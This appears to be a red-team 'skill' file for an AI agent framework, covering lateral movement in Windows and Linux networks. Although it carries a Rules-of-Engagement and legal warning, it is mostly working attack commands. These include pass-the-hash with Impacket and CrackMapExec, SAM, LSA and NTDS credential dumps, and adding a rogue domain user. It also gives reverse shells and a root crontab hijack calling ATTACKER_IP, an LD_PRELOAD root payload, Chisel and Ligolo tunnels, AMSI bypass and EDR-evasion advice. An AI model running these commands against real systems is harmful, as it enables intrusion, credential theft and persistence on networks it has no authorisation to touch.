---
name: rt-lateral-movement
description: "Lateral movement skill. Covers Windows lateral movement (PSexec, WMIexec, WinRM via Evil-WinRM, SMB pass-the-hash), Linux lateral movement (SSH key reuse, sudo -l abuse, NFS mounting), network pivoting (SSH tunneling, Chisel, Ligolo-ng), and living-off-the-land techniques. Integrates with C2 frameworks for beacon pivoting."
---

# rt-lateral-movement

## Overview

Lateral movement is the phase where an attacker expands access from an initial foothold to additional systems within the target environment. The goal is to move from a beachhead host toward high-value targets: domain controllers, database servers, internal APIs, or privileged workstations.

This skill covers the complete lateral movement surface:
- **Windows lateral movement** — PSExec, WMIExec, SMBExec, WinRM (Evil-WinRM), pass-the-hash, pass-the-ticket
- **Linux lateral movement** — SSH key reuse, sudo abuse, cron hijacking, NFS share mounting
- **Network pivoting** — SSH tunnels (local/remote/dynamic), Chisel, Ligolo-ng, socks proxies
- **Living-off-the-land (LotL)** — using built-in OS tools to avoid EDR detection
- **C2 beacon pivoting** — routing agent traffic through compromised hosts

All findings and pivot paths feed into the RTExit autodoc engine under `_rtexit-output/findings/lateral-movement/`.

### When to Use This Skill

Use `rt-lateral-movement` after:
- Achieving initial access (shell, RCE, reverse beacon)
- Recovering credentials (hashes, plaintext, Kerberos tickets)
- Completing internal host enumeration with `rt-active-recon`

Do NOT use this skill before confirming the Rules of Engagement explicitly authorise internal network movement. Check with `rt-rules-of-engagement` first.

> LEGAL WARNING: Lateral movement constitutes unauthorized computer access in virtually every jurisdiction when performed outside an authorized engagement. Ensure written RoE explicitly permits internal movement, target host ranges, and credential reuse techniques before executing any command in this guide.

---

## Prerequisites

### Required Credentials or Tokens (at least one)

| Credential Type | Typical Source | Notes |
|-----------------|---------------|-------|
| NTLM hash | Mimikatz, secretsdump, Responder | Pass-the-hash attacks |
| Plaintext password | Credential dump, phishing, config files | Direct auth |
| Kerberos ticket (.ccache) | Mimikatz, Rubeus, GetTGT.py | Pass-the-ticket |
| SSH private key | ~/.ssh/, .git/config, backup files | Linux/Unix targets |
| AWS/Azure tokens | IMDSv1/v2, env vars, config files | Cloud pivot |

### Tool Installation (Kali Linux / Attacker Host)

```bash
# Impacket suite (PSExec, WMIExec, SMBExec, SecretsDump, GetTGT)
pip3 install impacket
# OR from source for latest version
git clone https://github.com/fortra/impacket.git /opt/impacket
cd /opt/impacket && pip3 install -e .

# Evil-WinRM (WinRM lateral movement)
gem install evil-winrm
# OR
sudo apt-get install -y evil-winrm

# CrackMapExec (CME) / NetExec (nxc) — Swiss-army knife for Windows networks
pip3 install crackmapexec
# NetExec (community-maintained successor)
pip3 install netexec
# Verify
cme --version
nxc --version

# Chisel — fast TCP/UDP tunneler over HTTP
# Download pre-built binary (recommended)
wget https://github.com/jpillora/chisel/releases/latest/download/chisel_linux_amd64.gz
gzip -d chisel_linux_amd64.gz && mv chisel_linux_amd64 /usr/local/bin/chisel
chmod +x /usr/local/bin/chisel

# Ligolo-ng — transparent proxy for network pivoting
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/proxy-linux-amd64.tar.gz
tar -xzf proxy-linux-amd64.tar.gz && mv proxy /usr/local/bin/ligolo-proxy
chmod +x /usr/local/bin/ligolo-proxy
# Agent binary (deploy to pivot host)
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/agent-linux-amd64.tar.gz
tar -xzf agent-linux-amd64.tar.gz && mv agent /opt/ligolo-agent
# Windows agent
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/agent-windows-amd64.exe -O /opt/ligolo-agent.exe

# ProxyChains (route tools through SOCKS proxy)
sudo apt-get install -y proxychains4
# Edit /etc/proxychains4.conf:
# [ProxyList]
# socks5 127.0.0.1 1080

# Metasploit (for route/pivot modules)
sudo apt-get install -y metasploit-framework

# Nmap (pivot-side scanning)
sudo apt-get install -y nmap

# SSH client (built-in on most systems)
sudo apt-get install -y openssh-client

# Rubeus (Windows, Kerberos attacks) — compile or download
# https://github.com/GhostPack/Rubeus

# PsExec (Sysinternals, Windows only)
# Download: https://docs.microsoft.com/en-us/sysinternals/downloads/psexec
```

### Environment Setup

```bash
# Store target environment variables
export TARGET_DC="192.168.1.10"          # Domain Controller IP
export TARGET_DOMAIN="CORP"              # NetBIOS domain name
export TARGET_FQDN="corp.local"          # FQDN
export TARGET_USER="administrator"       # Compromised username
export TARGET_HASH="aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c"  # LM:NT hash
export ATTACKER_IP="10.10.14.5"          # Your IP reachable from pivot host
export PIVOT_HOST="192.168.1.50"         # Compromised pivot host IP
export PIVOT_USER="svcaccount"           # Account on pivot host

# Source at session start
source ~/.rtenv
```

---

## Skill Levels

### BEGINNER — Credential Validation and Basic Access

At this level, confirm that recovered credentials work on additional hosts and establish a basic interactive session.

**Validate credentials across the network with CrackMapExec / NetExec:**

```bash
# SMB credential spray — test hash against a subnet
cme smb 192.168.1.0/24 -u "$TARGET_USER" -H "$TARGET_HASH" --continue-on-success

# NetExec equivalent
nxc smb 192.168.1.0/24 -u "$TARGET_USER" -H "$TARGET_HASH" --continue-on-success

# Test plaintext password
cme smb 192.168.1.0/24 -u "$TARGET_USER" -p "Password123!" --continue-on-success

# Check WinRM access (port 5985)
cme winrm 192.168.1.0/24 -u "$TARGET_USER" -H "$TARGET_HASH"

# Check SSH access on Linux hosts
cme ssh 192.168.1.0/24 -u root -p "Password123!"
```

**Basic WinRM session with Evil-WinRM:**

```bash
# Connect with NTLM hash
evil-winrm -i "$TARGET_DC" -u "$TARGET_USER" -H "8846f7eaee8fb117ad06bdd830b7586c"

# Connect with plaintext password
evil-winrm -i "$TARGET_DC" -u "$TARGET_USER" -p "Password123!"

# Connect with SSL
evil-winrm -i "$TARGET_DC" -u "$TARGET_USER" -p "Password123!" -S
```

**Basic SSH lateral movement:**

```bash
# Connect with password
ssh "$TARGET_USER"@"$PIVOT_HOST"

# Connect with private key
ssh -i /path/to/stolen_id_rsa "$TARGET_USER"@"$PIVOT_HOST"

# Disable strict host key checking (OPSEC note: logs may record banner grab)
ssh -o StrictHostKeyChecking=no -i /path/to/id_rsa "$TARGET_USER"@"$PIVOT_HOST"
```

---

### INTERMEDIATE — Remote Execution and Pass-the-Hash

**Impacket PSExec (creates a service, noisiest option):**

```bash
# Pass-the-hash with Impacket psexec.py
python3 /opt/impacket/examples/psexec.py \
  "$TARGET_DOMAIN/$TARGET_USER"@"$TARGET_DC" \
  -hashes "$TARGET_HASH"

# Plaintext password
python3 /opt/impacket/examples/psexec.py \
  "$TARGET_DOMAIN/$TARGET_USER":"Password123!"@"$TARGET_DC"

# Execute a single command and exit
python3 /opt/impacket/examples/psexec.py \
  "$TARGET_DOMAIN/$TARGET_USER"@"$TARGET_DC" \
  -hashes "$TARGET_HASH" \
  -c "whoami /all"
```

**Impacket WMIExec (no service creation, less noisy):**

```bash
# Interactive shell via WMI
python3 /opt/impacket/examples/wmiexec.py \
  "$TARGET_DOMAIN/$TARGET_USER"@"$TARGET_DC" \
  -hashes "$TARGET_HASH"

# Single command execution
python3 /opt/impacket/examples/wmiexec.py \
  "$TARGET_DOMAIN/$TARGET_USER"@"$TARGET_DC" \
  -hashes "$TARGET_HASH" \
  "whoami"

# With explicit namespace
python3 /opt/impacket/examples/wmiexec.py \
  "$TARGET_DOMAIN/$TARGET_USER"@"$TARGET_DC" \
  -hashes "$TARGET_HASH" \
  -nooutput "cmd /c net user hacker P@ssw0rd /add /domain"
```

**Impacket SMBExec (semi-interactive via SMB shares):**

```bash
# SMBExec — writes output to a temp file, less artifacts than psexec
python3 /opt/impacket/examples/smbexec.py \
  "$TARGET_DOMAIN/$TARGET_USER"@"$TARGET_DC" \
  -hashes "$TARGET_HASH"

# With share specification
python3 /opt/impacket/examples/smbexec.py \
  "$TARGET_DOMAIN/$TARGET_USER"@"$TARGET_DC" \
  -hashes "$TARGET_HASH" \
  -share C$
```

**CrackMapExec remote command execution:**

```bash
# Execute command via SMB (uses WMI internally by default)
cme smb "$TARGET_DC" -u "$TARGET_USER" -H "$TARGET_HASH" \
  -x "whoami /all"

# Execute PowerShell command
cme smb "$TARGET_DC" -u "$TARGET_USER" -H "$TARGET_HASH" \
  -X "Get-LocalUser"

# Enumerate logged-on users
cme smb 192.168.1.0/24 -u "$TARGET_USER" -H "$TARGET_HASH" \
  --loggedon-users

# Dump SAM database remotely
cme smb "$TARGET_DC" -u "$TARGET_USER" -H "$TARGET_HASH" \
  --sam

# Dump LSA secrets
cme smb "$TARGET_DC" -u "$TARGET_USER" -H "$TARGET_HASH" \
  --lsa

# Spider shares
cme smb "$TARGET_DC" -u "$TARGET_USER" -H "$TARGET_HASH" \
  --shares
```

**Evil-WinRM advanced usage:**

```bash
# Upload a file to target
evil-winrm -i "$TARGET_DC" -u "$TARGET_USER" -H "8846f7eaee8fb117ad06bdd830b7586c"
# Inside Evil-WinRM shell:
# upload /opt/tools/SharpHound.exe C:\Windows\Temp\SharpHound.exe
# download C:\Windows\Temp\output.zip /tmp/output.zip

# Load PowerShell scripts directly from attacker
evil-winrm -i "$TARGET_DC" \
  -u "$TARGET_USER" \
  -H "8846f7eaee8fb117ad06bdd830b7586c" \
  -s /opt/PowerSploit/Recon/ \
  -e /opt/tools/

# Inside shell, invoke loaded script:
# Invoke-Portscan -Hosts 192.168.1.0/24 -TopPorts 100

# Execute .exe from memory (bypass disk writes)
# menu → Bypass-4MSI to patch AMSI first
# then: Invoke-Binary /opt/tools/Rubeus.exe args
```

**Linux sudo abuse:**

```bash
# Check what the compromised user can run as root
sudo -l

# Example output: (ALL) NOPASSWD: /usr/bin/find
# Exploit via GTFOBins
sudo find . -exec /bin/bash -i \; 2>/dev/null

# sudo vim escape
sudo vim -c ':!/bin/bash'

# sudo less escape
sudo less /etc/passwd
# Inside less: !bash

# sudo awk execution
sudo awk 'BEGIN {system("/bin/bash")}'

# sudo python execution
sudo python3 -c 'import os; os.system("/bin/bash")'

# Check for SUID binaries
find / -perm -u=s -type f 2>/dev/null
```

**NFS share mounting:**

```bash
# Enumerate NFS exports on target
showmount -e "$PIVOT_HOST"

# Mount NFS share locally
sudo mkdir -p /mnt/nfs_share
sudo mount -t nfs "$PIVOT_HOST":/exports /mnt/nfs_share -o nolock

# Check for SSH keys in mounted share
ls -la /mnt/nfs_share/home/
find /mnt/nfs_share -name "id_rsa" -o -name "authorized_keys" 2>/dev/null

# Write attacker SSH key to authorized_keys (if writable)
echo "ssh-rsa AAAAB3NzaC1yc2E... attacker" >> /mnt/nfs_share/home/targetuser/.ssh/authorized_keys

# Unmount
sudo umount /mnt/nfs_share
```

---

### ADVANCED — Pivoting and Tunnel Setup

**SSH Local Port Forwarding:**

```bash
# Forward local port 8080 to internal web server through pivot host
# Access internal:80 via localhost:8080
ssh -L 8080:internal-web.corp.local:80 "$PIVOT_USER"@"$PIVOT_HOST" -N -f

# Forward to RDP on internal host
ssh -L 3389:192.168.2.10:3389 "$PIVOT_USER"@"$PIVOT_HOST" -N -f
xfreerdp /v:localhost:3389 /u:"$TARGET_USER" /p:"Password123!"

# Multiple forwards in one command
ssh -L 8080:192.168.2.10:80 \
    -L 3389:192.168.2.20:3389 \
    -L 5985:192.168.2.30:5985 \
    "$PIVOT_USER"@"$PIVOT_HOST" -N -f
```

**SSH Remote Port Forwarding:**

```bash
# Expose attacker port 4444 on pivot host as port 4444
# Useful for reverse shells from internal hosts back to attacker
ssh -R 4444:localhost:4444 "$PIVOT_USER"@"$PIVOT_HOST" -N -f

# Open listener on attacker
nc -lvnp 4444
# Trigger reverse shell on internal host to PIVOT_HOST:4444
```

**SSH Dynamic SOCKS Proxy:**

```bash
# Create SOCKS5 proxy on local port 1080 through pivot host
ssh -D 1080 "$PIVOT_USER"@"$PIVOT_HOST" -N -f

# Configure proxychains
echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf

# Now route any tool through the pivot
proxychains4 nmap -sT -Pn -p 22,80,443,445,3389 192.168.2.0/24
proxychains4 cme smb 192.168.2.0/24 -u "$TARGET_USER" -H "$TARGET_HASH"
proxychains4 python3 /opt/impacket/examples/wmiexec.py "$TARGET_DOMAIN/$TARGET_USER"@192.168.2.10 -hashes "$TARGET_HASH"
```

**Chisel Tunneling (HTTP-based, bypasses firewalls):**

```bash
# On attacker machine — start Chisel server
chisel server --port 8080 --reverse --auth "user:password"

# On pivot host (Linux) — connect agent back to attacker
./chisel client --auth "user:password" "$ATTACKER_IP":8080 R:socks

# On pivot host (Windows PowerShell) — download and run agent
Invoke-WebRequest -Uri "http://$ATTACKER_IP/chisel.exe" -OutFile C:\Windows\Temp\chisel.exe
C:\Windows\Temp\chisel.exe client --auth "user:password" "$ATTACKER_IP":8080 R:socks

# Attacker now has SOCKS5 on 127.0.0.1:1080
# Route tools through it
proxychains4 nmap -sT -Pn -p 445 192.168.2.0/24

# Chisel with specific port forwarding (no SOCKS)
# On attacker (server)
chisel server --port 8080 --reverse

# On pivot (client) — expose internal RDP to attacker port 13389
./chisel client "$ATTACKER_IP":8080 R:13389:192.168.2.10:3389
```

**Ligolo-ng Transparent Proxy (most capable option):**

```bash
# Step 1: Create TUN interface on attacker
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up

# Step 2: Start Ligolo-ng proxy on attacker
ligolo-proxy -selfcert -laddr 0.0.0.0:11601

# Step 3: Upload and run agent on pivot host (Linux)
# On attacker: serve the agent
python3 -m http.server 80 --directory /opt/

# On pivot host:
wget http://"$ATTACKER_IP"/ligolo-agent -O /tmp/ligolo-agent
chmod +x /tmp/ligolo-agent
/tmp/ligolo-agent -connect "$ATTACKER_IP":11601 -ignore-cert

# Step 4: In Ligolo-ng proxy console
# session           (select the connected agent)
# ifconfig          (view agent's network interfaces)

# Step 5: Add route for target network on attacker
sudo ip route add 192.168.2.0/24 dev ligolo

# Step 6: Start tunnel
# tunnel_start      (in Ligolo-ng console)

# Now the 192.168.2.0/24 network is directly accessible from attacker
nmap -sT -Pn -p 445 192.168.2.10
python3 /opt/impacket/examples/psexec.py "$TARGET_DOMAIN/$TARGET_USER"@192.168.2.10 -hashes "$TARGET_HASH"

# Ligolo-ng Windows agent (PowerShell on pivot)
Invoke-WebRequest -Uri "http://$ATTACKER_IP/ligolo-agent.exe" -OutFile C:\Windows\Temp\agent.exe
C:\Windows\Temp\agent.exe -connect "$ATTACKER_IP":11601 -ignore-cert

# Ligolo-ng add listener (for reverse shells from deep network)
# In Ligolo-ng console:
# listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 --tcp
# This exposes attacker's port 4444 on pivot host's port 4444
```

---

### EXPERT — Kerberos Attacks and C2 Pivoting

**Pass-the-Ticket (Kerberos):**

```bash
# Step 1: Request TGT with Impacket
python3 /opt/impacket/examples/getTGT.py \
  "$TARGET_FQDN"/"$TARGET_USER":"Password123!"

# Step 2: Export the ticket
export KRB5CCNAME=$(pwd)/"$TARGET_USER".ccache

# Step 3: Use the ticket for lateral movement (no password needed)
python3 /opt/impacket/examples/psexec.py \
  -k -no-pass \
  "$TARGET_DOMAIN/$TARGET_USER"@"$TARGET_DC"."$TARGET_FQDN"

python3 /opt/impacket/examples/wmiexec.py \
  -k -no-pass \
  "$TARGET_DOMAIN/$TARGET_USER"@"$TARGET_DC"."$TARGET_FQDN"

# Verify ticket
klist

# Overpass-the-Hash (convert NTLM hash to Kerberos TGT)
python3 /opt/impacket/examples/getTGT.py \
  "$TARGET_FQDN"/"$TARGET_USER" \
  -hashes "$TARGET_HASH"
```

**Rubeus (on Windows pivot host — PowerShell):**

```powershell
# Dump all Kerberos tickets from memory
.\Rubeus.exe dump /nowrap

# Request TGT for another user via Overpass-the-Hash
.\Rubeus.exe asktgt /user:$TARGET_USER /rc4:$NTLM_HASH /ptt

# Pass-the-Ticket — import a .kirbi ticket
.\Rubeus.exe ptt /ticket:base64_ticket_here

# S4U2Self abuse (constrained delegation)
.\Rubeus.exe s4u /user:svcaccount /rc4:$NTLM_HASH /impersonateuser:administrator /msdsspn:"cifs/dc01.corp.local" /ptt

# Verify loaded tickets
.\Rubeus.exe triage
```

**Metasploit pivot routing:**

```bash
# After getting a Meterpreter session on pivot host (session 1)
msfconsole -q

# Add route through session 1 to internal network
msf6 > use post/multi/manage/autoroute
msf6 post(autoroute) > set SESSION 1
msf6 post(autoroute) > set SUBNET 192.168.2.0
msf6 post(autoroute) > run

# Alternative: direct route command in meterpreter
meterpreter > run autoroute -s 192.168.2.0/24

# Start SOCKS proxy through the route
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(socks_proxy) > set SRVPORT 1080
msf6 auxiliary(socks_proxy) > set VERSION 5
msf6 auxiliary(socks_proxy) > run -j

# Pivot additional exploits through the route
msf6 > use exploit/windows/smb/psexec
msf6 exploit(psexec) > set RHOSTS 192.168.2.10
msf6 exploit(psexec) > set SMBUser "$TARGET_USER"
msf6 exploit(psexec) > set SMBPass "$TARGET_HASH"
msf6 exploit(psexec) > set SMBType PSH
msf6 exploit(psexec) > run
```

**Cobalt Strike beacon pivoting (reference — requires licensed CS):**

```bash
# In CS Beacon console on pivot host:
# Create SOCKS proxy listener on pivot
# beacon> socks 1080
# beacon> socks stop   (to disable)

# SSH pivot through beacon
# beacon> ssh root@192.168.2.10 Password123!

# Spawn new beacon through pivot (SMB listener)
# beacon> jump psexec64 192.168.2.10 SMB_LISTENER_NAME
# beacon> jump winrm64 192.168.2.10 SMB_LISTENER_NAME
# beacon> jump wmiexec  192.168.2.10 SMB_LISTENER_NAME

# Remote exec (no new beacon)
# beacon> remote-exec wmi  192.168.2.10 whoami
# beacon> remote-exec winrm 192.168.2.10 whoami
```

**Living-off-the-Land (LotL) techniques — Windows:**

```powershell
# WMI remote execution (no binaries needed)
$wmi = [wmiclass]"\\$TARGET_DC\root\cimv2:Win32_Process"
$wmi.Create("cmd.exe /c whoami > C:\Windows\Temp\out.txt")

# Read output file via SMB
type \\$TARGET_DC\C$\Windows\Temp\out.txt

# Scheduled task lateral movement (schtasks — CMD)
schtasks /create /s $TARGET_DC /u $TARGET_USER /p "Password123!" /tn "WindowsUpdate" /tr "cmd.exe /c whoami > C:\out.txt" /sc once /st 00:00 /f
schtasks /run /s $TARGET_DC /tn "WindowsUpdate"
type \\$TARGET_DC\C$\out.txt
schtasks /delete /s $TARGET_DC /tn "WindowsUpdate" /f

# PowerShell remoting (built-in WinRM client)
$cred = Get-Credential
Enter-PSSession -ComputerName $TARGET_DC -Credential $cred

# Invoke-Command (non-interactive)
Invoke-Command -ComputerName $TARGET_DC -Credential $cred -ScriptBlock { whoami; ipconfig }

# DCOM lateral movement (MMC20.Application)
$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", $TARGET_DC))
$dcom.Document.ActiveView.ExecuteShellCommand("cmd.exe", $null, "/c whoami > C:\Windows\Temp\o.txt", "7")

# Service control lateral movement (CMD)
sc \\$TARGET_DC create SvcName binpath= "cmd.exe /c whoami > C:\out.txt"
sc \\$TARGET_DC start SvcName
sc \\$TARGET_DC delete SvcName

# PsExec (Sysinternals — signed binary)
PsExec.exe \\$TARGET_DC -u "$TARGET_USER" -p "Password123!" cmd.exe
```

**Living-off-the-Land — Linux:**

```bash
# Python reverse shell (if python is available on target)
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("'$ATTACKER_IP'",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

# Bash reverse shell
bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1

# Perl reverse shell (if python unavailable)
perl -e 'use Socket;$i="'$ATTACKER_IP'";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

# Cron job hijacking (if cron files writable)
echo "* * * * * bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1" >> /var/spool/cron/crontabs/root

# SUID abuse — find writable SUID binaries
find / -perm -4000 -writable 2>/dev/null

# LD_PRELOAD hijack (if sudo allows env var passthrough)
# Check: sudo -l shows "env_keep += LD_PRELOAD"
cat > /tmp/preload.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0); setuid(0);
    system("/bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 &");
}
EOF
gcc -fPIC -shared -o /tmp/preload.so /tmp/preload.c -nostartfiles
sudo LD_PRELOAD=/tmp/preload.so /usr/bin/any-sudo-allowed-binary
```

---

## Step-by-Step Workflow

### Phase 1 — Identify Reachable Targets

```bash
# 1. List directly reachable hosts from current position
arp -a
ip neigh show

# 2. Port scan reachable subnets (quick sweep)
nmap -sn 192.168.1.0/24 -oG - | grep Up | awk '{print $2}' > /tmp/live_hosts.txt

# 3. Identify lateral movement attack surface per host
nmap -iL /tmp/live_hosts.txt -p 22,135,139,445,3389,5985,5986 -T4 -oN /tmp/lm_ports.txt
cat /tmp/lm_ports.txt

# 4. Check SMB signing (required for relay attacks)
nxc smb 192.168.1.0/24 --gen-relay-list /tmp/relay_targets.txt
```

### Phase 2 — Select and Execute Movement Technique

```bash
# 5. Validate credentials against live hosts
nxc smb /tmp/live_hosts.txt -u "$TARGET_USER" -H "$TARGET_HASH" --continue-on-success 2>&1 | tee /tmp/cme_results.txt
grep "Pwn3d!" /tmp/cme_results.txt

# 6. For each pwned host, execute preferred technique
# WMIExec (quietest):
python3 /opt/impacket/examples/wmiexec.py "$TARGET_DOMAIN/$TARGET_USER"@192.168.1.20 -hashes "$TARGET_HASH"

# WinRM (if port 5985 open):
evil-winrm -i 192.168.1.20 -u "$TARGET_USER" -H "$(echo $TARGET_HASH | cut -d: -f2)"
```

### Phase 3 — Establish Pivot

```bash
# 7. Start Ligolo-ng proxy on attacker
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
ligolo-proxy -selfcert -laddr 0.0.0.0:11601 &

# 8. Upload and run Ligolo agent on pivot host (via Evil-WinRM)
# In Evil-WinRM shell:
# upload /opt/ligolo-agent.exe C:\Windows\Temp\agent.exe
# C:\Windows\Temp\agent.exe -connect ATTACKER_IP:11601 -ignore-cert

# 9. Add route for internal network
sudo ip route add 192.168.2.0/24 dev ligolo

# 10. In Ligolo-ng console: select session, start tunnel
```

### Phase 4 — Enumerate and Pivot Deeper

```bash
# 11. Scan newly reachable network through pivot
nmap -sT -Pn -p 22,135,139,445,3389,5985 192.168.2.0/24 -oN /tmp/pivot_scan.txt

# 12. Run CrackMapExec against new segment
nxc smb 192.168.2.0/24 -u "$TARGET_USER" -H "$TARGET_HASH" --continue-on-success

# 13. Dump credentials from newly accessed hosts
nxc smb 192.168.2.10 -u "$TARGET_USER" -H "$TARGET_HASH" --sam --lsa

# 14. Update credentials store
echo "192.168.2.10 | $TARGET_USER | <new_hash>" >> /tmp/creds.txt
```

### Phase 5 — Document and Report

```bash
# 15. Log all lateral movement paths
rtx log lateral-movement \
  --from "192.168.1.50" \
  --to "192.168.2.10" \
  --technique "WMIExec pass-the-hash" \
  --user "$TARGET_USER" \
  --evidence "/tmp/cme_results.txt"

# 16. Generate lateral movement findings
rtx finding create \
  --title "Pass-the-Hash Lateral Movement to $TARGET_DC" \
  --severity HIGH \
  --category "Lateral Movement" \
  --evidence "/tmp/cme_results.txt,/tmp/pivot_scan.txt"
```

---

## Real Attack Scenarios

### Scenario 1 — Windows Domain: Pass-the-Hash from Workstation to Domain Controller

**Context:** Initial foothold on `WKSTN01` (192.168.1.50) as local admin. Mimikatz run in memory yielded the Domain Admin NTLM hash. Goal: access the Domain Controller (192.168.1.10).

```bash
# Step 1: Validate hash against DC
nxc smb 192.168.1.10 -u "DomainAdmin" -H "aad3b435b51404eeaad3b435b51404ee:8f81ee5558e2d1245a26d4e3c8b29df2"
# Expected: 192.168.1.10:445 CORP\DomainAdmin STATUS_SUCCESS (Pwn3d!)

# Step 2: Dump secrets from DC (confirms full domain compromise)
nxc smb 192.168.1.10 -u "DomainAdmin" -H "aad3b435b51404eeaad3b435b51404ee:8f81ee5558e2d1245a26d4e3c8b29df2" \
  --ntds drsuapi 2>&1 | tee /tmp/ntds_dump.txt

# Step 3: Establish interactive shell on DC
python3 /opt/impacket/examples/wmiexec.py \
  "CORP/DomainAdmin"@192.168.1.10 \
  -hashes "aad3b435b51404eeaad3b435b51404ee:8f81ee5558e2d1245a26d4e3c8b29df2"

# Step 4: From DC shell, enumerate trust relationships
C:\> nltest /domain_trusts
C:\> net view /domain

# Step 5: Document
rtx finding create \
  --title "Domain Admin Pass-the-Hash to Primary DC" \
  --severity CRITICAL \
  --category "Lateral Movement" \
  --detail "Hash reuse enabled full domain compromise via WMIExec"
```

**Attack Chain:** `WKSTN01 (local admin)` → `Mimikatz hash dump` → `WMIExec PTH` → `DC01 (Domain Admin)` → `NTDS.dit dump`

---

### Scenario 2 — Network Pivot: Reaching an Air-Gapped Segment via Chisel

**Context:** Foothold on DMZ web server (10.10.10.5, internet-reachable). Internal scan revealed a second NIC connecting to the internal segment (192.168.100.0/24). No direct access from attacker. Goal: reach internal segment.

```bash
# Step 1: Start Chisel server on attacker
chisel server --port 443 --reverse --auth "rt:Sup3rS3cr3t"

# Step 2: Upload Chisel agent to DMZ host (via web shell or RCE)
# On attacker: serve the binary
python3 -m http.server 80

# On DMZ host (bash):
curl -o /tmp/chisel http://ATTACKER_IP/chisel
chmod +x /tmp/chisel

# Step 3: Connect Chisel agent from DMZ host to attacker, creating SOCKS proxy
/tmp/chisel client --auth "rt:Sup3rS3cr3t" ATTACKER_IP:443 R:1080:socks

# Step 4: Configure ProxyChains on attacker
echo "socks5 127.0.0.1 1080" > /etc/proxychains4.conf

# Step 5: Scan internal segment through pivot
proxychains4 nmap -sT -Pn -p 22,80,443,445,3389,5985 192.168.100.0/24 2>/dev/null | tee /tmp/internal_scan.txt

# Step 6: Attack internal hosts via proxy
proxychains4 nxc smb 192.168.100.0/24 -u "administrator" -H "$TARGET_HASH" --continue-on-success
proxychains4 evil-winrm -i 192.168.100.10 -u "administrator" -H "$(echo $TARGET_HASH | cut -d: -f2)"

# Step 7: Document
rtx log lateral-movement \
  --from "10.10.10.5 (DMZ)" \
  --to "192.168.100.10 (Internal)" \
  --technique "Chisel SOCKS pivot via port 443" \
  --notes "Bypassed firewall using HTTP-tunneled SOCKS through Chisel"
```

**Attack Chain:** `Attacker` → `RCE on DMZ:10.10.10.5` → `Chisel SOCKS proxy` → `Internal network:192.168.100.0/24`

---

### Scenario 3 — Linux SSH Key Reuse Across Servers

**Context:** Compromised a developer's workstation. Found `~/.ssh/id_rsa` (unprotected private key) and `~/.ssh/known_hosts` listing internal servers. Goal: reach all servers where this key is authorized.

```bash
# Step 1: Extract key from compromised host
# (already have local access or shell on dev workstation)
cat ~/.ssh/id_rsa > /tmp/dev_id_rsa
cat ~/.ssh/known_hosts | awk '{print $1}' | sort -u > /tmp/known_hosts.txt
chmod 600 /tmp/dev_id_rsa

# Step 2: Extract hostnames/IPs from known_hosts
# known_hosts may be hashed — use ssh-keygen to reveal
ssh-keygen -F "192.168.1." -f ~/.ssh/known_hosts 2>/dev/null

# Step 3: Attempt SSH connection to each known host
while IFS= read -r host; do
  echo "Trying $host..."
  ssh -o ConnectTimeout=5 \
      -o StrictHostKeyChecking=no \
      -o BatchMode=yes \
      -i /tmp/dev_id_rsa \
      devuser@"$host" "whoami; hostname; id" 2>/dev/null \
    && echo "[SUCCESS] $host" >> /tmp/ssh_successes.txt \
    || echo "[FAIL] $host" >> /tmp/ssh_failures.txt
done < /tmp/known_hosts.txt

cat /tmp/ssh_successes.txt

# Step 4: On successful hosts, check for privilege escalation
for host in $(cat /tmp/ssh_successes.txt | awk '{print $2}'); do
  echo "=== $host ===" >> /tmp/sudo_l_results.txt
  ssh -i /tmp/dev_id_rsa -o StrictHostKeyChecking=no devuser@"$host" "sudo -l 2>/dev/null" >> /tmp/sudo_l_results.txt
done

# Step 5: Check for shared SSH keys on each successful host (lateral expansion)
for host in $(cat /tmp/ssh_successes.txt | awk '{print $2}'); do
  ssh -i /tmp/dev_id_rsa -o StrictHostKeyChecking=no devuser@"$host" \
    "find /home /root -name id_rsa 2>/dev/null; find /home /root -name authorized_keys 2>/dev/null"
done

# Step 6: Document
rtx log lateral-movement \
  --from "devworkstation" \
  --to "$(cat /tmp/ssh_successes.txt)" \
  --technique "SSH private key reuse" \
  --evidence "/tmp/ssh_successes.txt,/tmp/sudo_l_results.txt"
```

**Attack Chain:** `Dev Workstation` → `Stolen ~/.ssh/id_rsa` → `SSH key reuse to 4 internal servers` → `Sudo -l abuse on build server` → `Root`

---

## OPSEC Considerations

### Detection Risks by Technique

| Technique | Noise Level | Primary Detection Source | Evasion |
|-----------|-------------|--------------------------|---------|
| PSExec | HIGH | Windows Event 7045 (service install), 4624 logon type 3 | Prefer WMIExec or WinRM |
| WMIExec | MEDIUM | Event 4688 (process creation), WMI activity logs | Use `-nooutput` flag, clean up temp files |
| SMBExec | MEDIUM | Service creation events (less common EDR sig) | Short-lived — cleaned up automatically |
| Evil-WinRM | MEDIUM | Event 4624 logon type 3, PowerShell logs (4103/4104) | Use AMSI bypass first, avoid suspicious cmdlets |
| Pass-the-Hash | MEDIUM | Event 4624 type 3 with NTLMSSP, unusual source IP | Accept risk if only option; use Kerberos if possible |
| Pass-the-Ticket | LOW-MEDIUM | Event 4768/4769, abnormal ticket requests | Forge tickets with realistic lifetimes |
| SSH tunneling | LOW | SSH logs on pivot host, netflow anomalies | Use port 443 for Chisel; keep sessions short |
